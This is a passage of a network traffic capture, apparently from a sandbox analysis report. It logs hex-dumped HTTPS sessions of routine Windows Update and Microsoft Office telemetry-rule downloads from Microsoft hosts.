T="12" />
2024-11-29 22:10:58 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-29 22:10:58 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-29 22:10:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-29 22:10:59 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-29 22:10:59 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49778	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=stBxbGhrHxDYMZ9&MD=gESBNraw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-29 22:10:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 773e147a-1028-438f-927a-9e2728fa451a MS-RequestId: 10ab233a-c403-480a-9ea5-5847813c7d51 MS-CV: msFeOx/wpUSybFzo.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 29 Nov 2024 22:10:58 GMT Connection: close Content-Length: 30005
2024-11-29 22:10:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-29 22:10:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:01 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 22636776-e01e-0003-4fa8-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221101Z-174f78459684db9fhC1EWRc7g400000000d00000000031r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:01 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221101Z-174f7845968swgbqhC1EWRmnb400000010kg00000000mugz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221101Z-174f7845968cdxdrhC1EWRg0en00000010c000000000qh5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221101Z-174f7845968qj8jrhC1EWRh41s00000010d000000000gavd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 576a30ce-f01e-0052-7c0e-419224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221101Z-174f7845968pght8hC1EWRyvxg00000003s0000000003s5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:03 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221103Z-174f7845968nxc96hC1EWRspw8000000108000000000d6tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:03 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221103Z-174f7845968cpnpfhC1EWR3afc000000102000000000kxnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:03 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221103Z-174f7845968j6t2phC1EWRcfe800000010p000000000e31g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
